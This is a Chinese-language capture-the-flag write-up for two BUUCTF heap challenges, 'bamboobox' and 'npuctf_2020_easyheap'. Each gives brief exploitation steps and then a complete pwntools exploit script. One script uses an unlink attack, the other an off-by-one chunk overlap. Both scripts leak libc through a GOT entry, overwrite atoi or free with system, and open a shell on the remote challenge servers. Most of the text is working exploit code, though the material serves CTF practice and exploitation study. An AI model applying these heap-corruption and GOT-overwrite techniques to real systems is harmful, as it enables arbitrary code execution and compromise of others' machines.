buuctf——bamboobox(unlink) 利用思路 
伪造一个空闲 chunk。 
通过 unlink 把 chunk 移到存储 chunk 指针的内存处。 
覆盖 chunk 0 指针为 atoi 的 got 表地址并泄露。 
覆盖 atoi 的 got 表为 system 函数地址。 
给出参数 ‘sh’,调用 atoi 函数拿 shell。 
 
exp: from  pwn import  *from  LibcSearcher import *context.log_level='debug'  if  args['REMOTE' ]:    r = remote('node3.buuoj.cn' ,25306 )     elf=ELF('./bamboobox' )     libc=ELF('/home/duxiansheng/pwn/libc/libc-2.23.so' ) else :    r = process("./bamboobox" )     elf=ELF('./bamboobox' )     libc=ELF('/lib/x86_64-linux-gnu/libc.so.6' ) def  add (length,name ):	r.recvuntil(":" ) 	r.sendline('2' ) 	r.recvuntil(':' ) 	r.sendline(str (length)) 	r.recvuntil(":" ) 	r.sendline(name)   def  edit (idx,length,name ):	r.recvuntil(':' ) 	r.sendline('3' ) 	r.recvuntil(":" ) 	r.sendline(str (idx)) 	r.recvuntil(":" ) 	r.sendline(str (length)) 	r.recvuntil(':' ) 	r.sendline(name)   def  remove (idx ):	r.recvuntil(":" ) 	r.sendline("4" ) 	r.recvuntil(":" ) 	r.sendline(str (idx))   def  show ():	r.recvuntil(":" ) 	r.sendline("1" )   def  main ():	add(0x40 ,'a'  * 8 )  	add(0x80 ,'b'  * 8 )  	add(0x80 ,'c'  * 8 )  	 	ptr = 0x6020c8  	  	fake_chunk = p64(0 ) 	fake_chunk += p64(0x41 ) 	fake_chunk += p64(ptr-0x18 ) 	fake_chunk += p64(ptr-0x10 ) 	fake_chunk += 'c' *0x20  	fake_chunk += p64(0x40 ) 	fake_chunk += p64(0x90 ) 	edit(0 ,0x80 ,fake_chunk) 	 	  	remove(1 ) 	payload = p64(0 ) * 2  	payload += p64(0x40 ) + p64(0x602068 ) 	edit(0 ,0x80 ,payload) 	show() 	 	r.recvuntil("0 : " ) 	atoi_addr = u64(r.recvuntil(":" )[:6 ].ljust(8 ,'\x00' )) 	success('atoi_addr: '  + hex (atoi_addr)) 	libcbase = atoi_addr - libc.symbols['atoi' ] 	success("libc:"  + hex (libcbase))  	system_addr = libcbase + libc.symbols['system' ] 	success('system:'  + hex (system_addr)) 	edit(0 ,0x8 ,p64(system_addr)) 	 	  	r.recvuntil(":" ) 	r.sendline("sh" ) 	r.interactive() if  __name__ == '__main__' :	main() 
 
npuctf_2020_easyheap(off_by_one) 利用思路 
通过 off by one 漏洞,修改下一个 chunk 的 size 为 0x41 大小,这样 free 之后就能造成堆块重叠。 
通过堆块重叠,修改记录 size 与 chunk_addr 的 chunk 中的 chunk_addr 为 free函数的 got 表地址,然后通过show打印泄露libc 
获取libc后就能计算出system的地址,再次通过off-by-one修改free@got为 system 的地址,当主函数再次执行delete(chunk2)的时候,结合 “/bin/sh” 参数,实现  system(’/bin/sh’) 获取shell 
 
参考: 
https://blog.csdn.net/mcmuyanga/article/details/112851757 
exp: from  pwn import  *from  LibcSearcher import *context.log_level='debug'  if  args['REMOTE' ]:    p = remote('node3.buuoj.cn' ,28454 )     elf=ELF('./npuctf_2020_easyheap' )     libc=ELF('./libc-2.27.so' ) else :    p = process("./npuctf_2020_easyheap" )     elf=ELF('./npuctf_2020_easyheap' )     libc=ELF('/lib/x86_64-linux-gnu/libc.so.6' ) def  add (size,content ):	p.sendlineafter('Your choice :' ,str (1 )) 	p.sendlineafter('Size of Heap(0x10 or 0x20 only) : ' ,str (size)) 	p.sendlineafter('Content:' ,content) def  edit (index,content ):	p.sendlineafter('Your choice :' ,str (2 )) 	p.sendlineafter('Index :' ,str (index)) 	p.recvuntil("Content: " ) 	p.send(content) def  show (idx ):	p.sendlineafter('Your choice :' ,str (3 )) 	p.sendlineafter('Index :' ,str (idx)) def  delete (idx ):	p.sendlineafter('Your choice :' ,str (4 )) 	p.sendlineafter('Index :' ,str (idx))	 def  main ():	add(0x18 ,'aaaa' )  	add(0x18 ,'bbbb' )  	add(0x18 ,'/bin/sh\x00' )   	 	edit(0 ,'a' *0x18 +'\x41' )   	delete(1 )   	payload='a' *0x10 +p64(0 )+p64(0x21 )+p64(0x100 )+p64(elf.got['free' ])      	add(0x38 ,payload)  	 	show(1 )  	p.recvuntil('Content : ' ) 	libcbase=u64(p.recvuntil('\x7f' ).ljust(8 ,'\x00' ))-libc.symbols['free' ] 	system_addr=libcbase+libc.symbols['system' ] 	success('libcbase: '  + hex (libcbase)) 	success('system: '  + hex (system_addr)) 	edit(1 ,p64(system_addr))  	gdb.attach(p) 	delete(2 )   	p.interactive() if  __name__ == '__main__' :	main()